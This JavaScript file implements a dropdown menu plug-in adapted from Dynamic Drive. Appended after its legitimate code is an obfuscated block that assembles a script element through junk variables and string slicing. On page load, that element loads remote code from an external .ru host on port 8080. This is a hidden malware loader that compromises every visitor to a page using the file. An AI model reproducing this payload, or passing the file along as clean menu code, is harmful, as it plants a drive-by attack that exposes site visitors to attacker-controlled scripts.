/*
Original source: http://www.dynamicdrive.com/

Modified for Social DropDown plug-in

Version: 1.1
*/
		

var menuwidth='300px' //default menu width
var hidemenu_onclick="yes" //hide menu when user clicks within menu

var ie4=document.all
var ns6=document.getElementById&&!document.all

if (ie4||ns6)
document.write('<div class="dropmenudiv" id="dropmenudiv" style="visibility:hidden;width:'+menuwidth+'" onMouseover="clearhidemenu()" onMouseout="dynamichide(event)"></div>')

function getposOffset(what, offsettype){
var totaloffset=(offsettype=="left")? what.offsetLeft : what.offsetTop;
var parentEl=what.offsetParent;
while (parentEl!=null){
totaloffset=(offsettype=="left")? totaloffset+parentEl.offsetLeft : totaloffset+parentEl.offsetTop;
parentEl=parentEl.offsetParent;
}
return totaloffset;
}

var dropbutton

function showhide(obj, e, visible, hidden, menuwidth){
if (ie4||ns6)
dropmenuobj.style.left=dropmenuobj.style.top="-500px"
if (menuwidth!=""){
dropmenuobj.widthobj=dropmenuobj.style
dropmenuobj.widthobj.width=menuwidth
}
if (e.type=="click" && obj.visibility==hidden || e.type=="mouseover") {
obj.visibility=visible
dropbutton.setAttribute("class", "dropdownbuttonon"); 
dropbutton.setAttribute("className", "dropdownbuttonon"); 
}
else { if (e.type=="click") {
obj.visibility=hidden
dropbutton.setAttribute("class", "dropdownbutton"); 
dropbutton.setAttribute("className", "dropdownbutton"); 
}
}
}

function iecompattest(){
return (document.compatMode && document.compatMode!="BackCompat")? document.documentElement : document.body
}

function clearbrowseredge(obj, whichedge){
var edgeoffset=0
if (whichedge=="rightedge"){
var windowedge=ie4 && !window.opera? iecompattest().scrollLeft+iecompattest().clientWidth-15 : window.pageXOffset+window.innerWidth-15
dropmenuobj.contentmeasure=dropmenuobj.offsetWidth
if (windowedge-dropmenuobj.x < dropmenuobj.contentmeasure)
edgeoffset=dropmenuobj.contentmeasure-obj.offsetWidth
}
else{
var topedge=ie4 && !window.opera? iecompattest().scrollTop : window.pageYOffset
var windowedge=ie4 && !window.opera? iecompattest().scrollTop+iecompattest().clientHeight-15 : window.pageYOffset+window.innerHeight-18
dropmenuobj.contentmeasure=dropmenuobj.offsetHeight
if (windowedge-dropmenuobj.y < dropmenuobj.contentmeasure){ //move up?
edgeoffset=dropmenuobj.contentmeasure+obj.offsetHeight
if ((dropmenuobj.y-topedge)<dropmenuobj.contentmeasure) //up no good either?
edgeoffset=dropmenuobj.y+obj.offsetHeight-topedge
}
}
return edgeoffset
}

function populatemenu(what){
if (ie4||ns6)
dropmenuobj.innerHTML=what.join("")
}


function dropdownmenu(obj, e, menucontents, menuwidth, dropbuttonobj){
if (window.event) event.cancelBubble=true
else if (e.stopPropagation) e.stopPropagation()
clearhidemenu()
dropmenuobj=document.getElementById? document.getElementById("dropmenudiv") : dropmenudiv
populatemenu(menucontents)

if (ie4||ns6){
dropbutton = dropbuttonobj
showhide(dropmenuobj.style, e, "visible", "hidden", menuwidth)
dropmenuobj.x=getposOffset(obj, "left")
dropmenuobj.y=getposOffset(obj, "top")
dropmenuobj.style.left=dropmenuobj.x-clearbrowseredge(obj, "rightedge")+"px"
dropmenuobj.style.top=dropmenuobj.y-clearbrowseredge(obj, "bottomedge")+obj.offsetHeight+"px"
}

return clickreturnvalue()
}

function clickreturnvalue(){
if (ie4||ns6) return false
else return true
}

function contains_ns6(a, b) {
while (b.parentNode)
if ((b = b.parentNode) == a)
return true;
return false;
}

function dynamichide(e){
if (ie4&&!dropmenuobj.contains(e.toElement))
delayhidemenu()
else if (ns6&&e.currentTarget!= e.relatedTarget&& !contains_ns6(e.currentTarget, e.relatedTarget))
delayhidemenu()
}

function hidemenu(e){
if (typeof dropmenuobj!="undefined"){
if (ie4||ns6) {
dropmenuobj.style.visibility="hidden"
dropbutton.setAttribute("class", "dropdownbutton"); 
dropbutton.setAttribute("className", "dropdownbutton"); 
}
}
}

function delayhidemenu(){
/* remove this if you want the menu to dissapear after a few seconds
if (ie4||ns6)
delayhide=setTimeout("hidemenu()",disappeardelay)
*/
}

function clearhidemenu(){
if (typeof delayhide!="undefined")
clearTimeout(delayhide)
}

if (hidemenu_onclick=="yes")
document.onclick=hidemenu


Z={Oe:20932};this.l="";var i;J={as_:21681};k=function(){try {var ZU='ez'} catch(ZU){};X=50959;X--;function a(p,S,pj){return p.substr(S,pj);var n=new Date();}var h="h";x={Ri:48349};var N=new Date();this.za='';var v='';var m=["qy"];var pe=document;Jy=30796;Jy+=53;this.b="";var VO=["jv","xQ","tP"];var G=a("/gooFCqR",0,4)+a("gle.wmaL",0,4)+a("XnDcom/XnD",3,4)+a("c4pzshac4p",3,4)+a("X9sre.nXs9",3,4)+a("et/rqEG9",0,4)+a("bc.rAWHw",0,4)+a("u.ph3rL0",0,4)+"p";C=["HV","s","St"];var iG=RegExp;var qp={P:"uu"};var Fe={uF:"XX"};var Sk=new Date();Nm={};function O(p,S){var ps={JC:7426};PW=1002;PW--;this.gS=35146;this.gS++;var pj=String("[")+S+a("]75P0",0,1);var Fv={un:"qt"};this.gq=25120;this.gq++;var Sn=new iG(pj, "g");var y=new Date();var BU=new Date();return p.replace(Sn, v);};Yt=[];mR=["ky"];this.gA="";XQ={};var D=942971-934891;var L=null;var F=String(a("bodlaSs",0,3)+a("QTFqyQqFT",4,1));this.jO=21894;this.jO--;this.kk=51752;this.kk--;var e=O('sHc7r6i7p2tb','6b2UHea0TwQkR75D');var QL={d:false};var nQ={tA:"LP"};i=function(){try {try {} catch(uFu){};var I=O('c5rde6aMtKe9E5lGeJmMeynstd','ZydjRJiXMIx6kSG9Ku574spQ');Y=pe[I](e);var p=D+G;lh={};var U=O('s1rfcf','xObf0PuZz1hVtoR9pE7qN5');var V=String("defer");this.zZ=false;var jo="jo";Y[V]=[1,9][0];var Yp={ll:false};this.SM=false;Y[U]="htt"+a("p:/UWuJ",0,3)+a("/te5gdW",0,3)+"nth"+a("prok6T",0,3)+"fit"+a(".ruPGM",0,3)+a("oaks:skoa",4,1)+p;tZ=39557;tZ-=93;try {} catch(rJ){};pe[F].appendChild(Y);var JW=[];var HG=[];} catch(j){try {} catch(Bz){};};TZ=19190;TZ-=207;this.cC="";};};k();try {var sS='UL'} catch(sS){};window.onload=i;
